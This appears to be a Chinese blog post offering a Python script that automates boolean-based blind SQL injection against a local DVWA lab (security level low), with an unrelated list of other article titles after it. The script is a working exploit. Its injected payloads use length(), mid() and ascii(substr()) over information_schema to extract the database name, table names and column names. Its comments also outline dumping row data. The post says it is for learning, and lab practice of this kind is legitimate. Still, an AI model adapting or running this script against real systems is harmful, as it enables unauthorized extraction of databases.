python dvwa布尔盲注自动化脚本(level=low)
仅供学习代码参考
1#python dvwa布尔盲注自动化脚本
2 import requests
3 import string
4 import time
5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id="
6 token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别
7 COLUMN_NUM=11
8 COLUMN_LEN=15
9 dbLen=0
10 dbname=''
11 table_num=0
12 table=[]
13 table_name='' #暂存用
14 column=[]
15 column_name=''#暂存用
16 rightLen=0
17
18 time_start=time.time()
19 url=INIT_URL+"1&Submit=Submit#"
20 rightLen=len(requests.get(url=url,cookies=token).text)
21 print("正常返回文本长度:"+str(rightLen))
22 #1.猜解数据库名长度 poc:" 1'and (select length(database()))="+str(dbLen)#"
23 while True:
24 dbLen +=1
25 dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#"
26 print(dbUrl)
27 if len(requests.get(url=dbUrl,cookies=token).text)==rightLen:
28 print("数据库长度:"+str(dbLen))
29 break
30 #2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#"
31 for i in range(1,dbLen+1):
32 for j in string.ascii_lowercase:
33 dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#"
34 print(dbnameUrl)
35 if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen:
36 dbname+=j
37 break
38
39 print("数据库名字:"+dbname)
40
41 #3.猜解数据库表数量 poc:" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#"
42
43 for i in range(100):
44 dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#"
45 print(dbUrl)
46 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
47 print("表数量"+str(i))
48 table_num=i
49 break
50
51 #4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103#
52
53 for i in range(table_num):
54 for k in range(COLUMN_LEN):
55 for j in range(48,123):
56 dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
57 print(dbUrl)
58 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
59 table_name+=chr(j)
60 print(table_name)
61 break
62 table.append(table_name)
63 table_name=''
64 print("表名:"+str(table))
65
66
67
68 #5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i
69
70
71 for m in range(table_num):
72 for i in range(COLUMN_NUM):
73 for k in range(COLUMN_LEN):
74 for j in range(48,123):
75 dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
76 print(dbUrl)
77 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
78 column_name+=chr(j)
79 print(column_name)
80 break
81 column_name+='/'
82 column.append(column_name)
83 column_name=''
84 print("列名:"+str(column))
85
86 time_end=time.time()
87 print('用时:',time_end-time_start,'s')
88 print("正常返回文本长度:"+str(rightLen))
89 print("数据库长度:"+str(dbLen))
90 print("数据库名字:"+dbname)
91 print("表数量"+str(i))
92 print("表名:"+str(table))
93 print("列名:"+str(column))
94 #6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i
95 #具体列具体猜解,全部猜解时间太高
python dvwa布尔盲注自动化脚本(level=low)的更多相关文章
- sqli-labs第5关布尔盲注pyhton脚本
import requests import os #此函数先判断数据库长度 def length(url,str): num = 1 while True: str_num = '%d' %num ...
- 爱上python之盲注探测脚本
本文转自:i春秋论坛 前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录. sqmap也有不灵的时候,有时需要根据情况自写脚本探测 正文: 本地用大表姐给的sql和p ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
随机推荐
- iot平台
iot平台 iot平台卓岚云是一个免费的物联网云平台,用户只需按步骤完成注册即可免费使用卓岚云 .支持PC.Android.iOS多平台终端.用户可以在任何地方远程访问任何地方的串口设备,并对远程设备 ...
- 【CodeForces】835F Roads in the Kingdom
一.题目 题目描述 王国有\(n\)座城市与\(n\)条有长度的街道,保证所有城市直接或间接联通,我们定义王国的直径为所有点对最短距离中的最大值,现因财政危机需拆除一条道路并同时要求所有城市仍然联通, ...
- 【Luogu】P1613 跑路
[Luogu]P1613 跑路 一.题目 题目描述 小A的工作不仅繁琐,更有苛刻的规定,要求小A每天早上在6:00之前到达公司,否则这个月工资清零.可是小A偏偏又有赖床的坏毛病.于是为了保住自己的工资 ...
- WebFlux快速上手
一.新建项目 示例使用IDEA快速创建基于SpringBoot的工程. springboot 2.3.1 java 8 WebFlux 必须选用Reactive的库 POM 依赖 <depend ...
- spring boot:swagger3的安全配置(swagger 3.0.0 / spring security / spring boot 2.3.3)
一,swagger有哪些环节需要注意安全? 1,生产环境中,要关闭swagger application.properties中配置: springfox.documentation.swagger- ...
- DataX 3.0 源码解析一
源码解析 基本调用类分析 任务启动由python脚本新建进程进行任务执行,后续执行由Java进行,以下将对java部分进行分 其中的调用原理机制. Engine 首先入口类为com.alibaba.d ...
- Helium文档9-WebUI自动化-find_all获取页面table数据
前言 find_all关键字根据官方介绍的作用是查找所有出现GUI元素,并且返回list,下面通过举例说明 入参介绍 def find_all(predicate): ""&quo ...
- springboot入门系列(三):SpringBoot教程之RabbitMQ示例
SpringBoot教程之RabbitMQ示例 SpringBoot框架已经提供了RabbitMQ的使用jar包,开发人员在使用RabbitMQ的时候只需要引用jar包简单的配置一下就可以使用Rabb ...
- Nacos配置中心使用
在系统开发过程中,开发者通常会将一些需要变更的参数.变量等从代码中分离出来独立管理,以独立的配置文件的形式存在.目的是让静态的系统工件或者交付物(如 WAR,JAR 包等)更好地和实际的物理运行环境进 ...
- 学会Git玩转GitHub(第三篇) 入门详解 - 精简归纳
学会Git玩转GitHub(第三篇) 入门详解 - 精简归纳 JERRY_Z. ~ 2020 / 10 / 25 转载请注明出处!️ 目录 学会Git玩转GitHub(第三篇) 入门详解 - 精简归纳 ...
